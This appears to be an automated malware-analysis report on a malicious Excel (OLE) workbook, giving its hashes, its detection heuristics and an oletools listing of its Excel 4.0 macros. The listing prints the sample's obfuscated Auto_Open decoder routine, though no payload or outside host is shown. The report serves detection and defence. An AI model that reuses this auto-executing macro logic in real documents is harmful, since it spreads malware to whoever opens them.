Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e2d13c35de7ba78d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:43 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 502daa14b419caa9c9c5479a470aff11 SHA-1: 2db4b1761ef6498214676207b299a9c37e9c93a4 SHA-256: e2d13c35de7ba78da424467b2e507dd3645d1cbc4999a90950fcc884473f176e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6694 bytes
SHA-256: 4e72309b18200e0225e39e689a979546b320050798cc08d66ea8a4f2177759ba
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JQmtvTj
' 0018     23 LABEL : Cell Value, String Constant - AufGeVDi len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G168 
' 0018     21 LABEL : Cell Value, String Constant - cgJFpF len=0 
' 0018     25 LABEL : Cell Value, String Constant - cKkbiABOLN len=0 
' 0018     20 LABEL : Cell Value, String Constant - eQQVg len=0 
' 0018     20 LABEL : Cell Value, String Constant - fnuix len=0 
' 0018     24 LABEL : Cell Value, String Constant - GyJlAdMwI len=0 
' 0018     23 LABEL : Cell Value, String Constant - HTxeUkcA len=0 
' 0018     24 LABEL : Cell Value, String Constant - iUeLTxBEj len=0 
' 0018     22 LABEL : Cell Value, String Constant - JGtwztA len=0 
' 0018     20 LABEL : Cell Value, String Constant - JJcUQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - kubPJWDImHv len=0 
' 0018     27 LABEL : Cell Value, String Constant - MYiPEuswJRsI len=0 
' 0018     23 LABEL : Cell Value, String Constant - NajMCQuh len=0 
' 0018     22 LABEL : Cell Value, String Constant - OrVWlae len=0 
' 0018     22 LABEL : Cell Value, String Constant - QFhjPgd len=0 
' 0018     21 LABEL : Cell Value, String Constant - QoYuta len=0 
' 0018     27 LABEL : Cell Value, String Constant - rHMKjTtkwQKh len=0 
' 0018     27 LABEL : Cell Value, String Constant - RsOeTeKSHUge len=0 
' 0018     22 LABEL : Cell Value, String Constant - UoaFmxC len=0 
' 0018     27 LABEL : Cell Value, String Constant - WzXjGfbkspgI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JQmtvTj,R41,"",437.00000000000000000000
'  JQmtvTj,R42,"",285.00000000000000000000
'  JQmtvTj,R43,"",-210.00000000000000000000
'  JQmtvTj,R44,"",-288.00000000000000000000
'  JQmtvTj,R45,"",-710.00000000000000000000
'  JQmtvTj,R46,"",-454.00000000000000000000
'  JQmtvTj,G73,"SET.NAME("fnuix",0+VALUE("0"))",""
'  JQmtvTj,G76,"SET.NAME("JJcUQ",fnuix)",""
'  JQmtvTj,G78,"SET.NAME("WzXjGfbkspgI",fnuix)",""
'  JQmtvTj,G81,"SET.NAME("AufGeVDi",COUNTA(rHMKjTtkwQKh))",""
'  JQmtvTj,G85,"SET.NAME("QFhjPgd",COUNTA(cgJFpF))",""
'  JQmtvTj,G90,[],""
'  JQmtvTj,G92,"SET.NAME("kubPJWDImHv","")",""
'  JQmtvTj,G96,"JJcUQ",""
'  JQmtvTj,G98,"SET.NAME("JGtwztA",HLOOKUP("*",rHMKjTtkwQKh,JJcUQ,FALSE))",""
'  JQmtvTj,G101,"UoaFmxC",""
'  JQmtvTj,G105,"SET.NAME("NajMCQuh",fnuix)",""
'  JQmtvTj,G107,[],""
'  JQmtvTj,G112,"NajMCQuh",""
'  JQmtvTj,G116,"QoYuta",""
'  JQmtvTj,G121,"cKkbiABOLN",""
'  JQmtvTj,G126,"GyJlAdMwI",""
'  JQmtvTj,G130,"SET.NAME("iUeLTxBEj",VALUE(HLOOKUP("*",cgJFpF,GyJlAdMwI,FALSE)))",""
'  JQmtvTj,G135,"HTxeUkcA",""
'  JQmtvTj,G140,"kubPJWDImHv",""
'  JQmtvTj,G144,"WzXjGfbkspgI",""
'  JQmtvTj,G147,NEXT(),""
'  JQmtvTj,G151,"OrVWlae",""
'  JQmtvTj,G155,[],""
'  JQmtvTj,G158,"eQQVg",""
'  JQmtvTj,G162,NEXT(),""
'  JQmtvTj,G164,RETURN(),""
'  JQmtvTj,G194,"SET.NAME("RsOeTeKSHUge",G73)",""
'  JQmtvTj,G196,"rHMKjTtkwQKh",""
'  JQmtvTj,G200,"SET.NAME("cgJFpF",R58C11)",""
'  JQmtvTj,G205,"SET.NAME("eQQVg",210)",""
'  JQmtvTj,G207,"SET.NAME("MYiPEuswJRsI",7)",""
'  JQmtvTj,G209,RsOeTeKSHUge(),""
'  JQmtvTj,G210,HALT(),""

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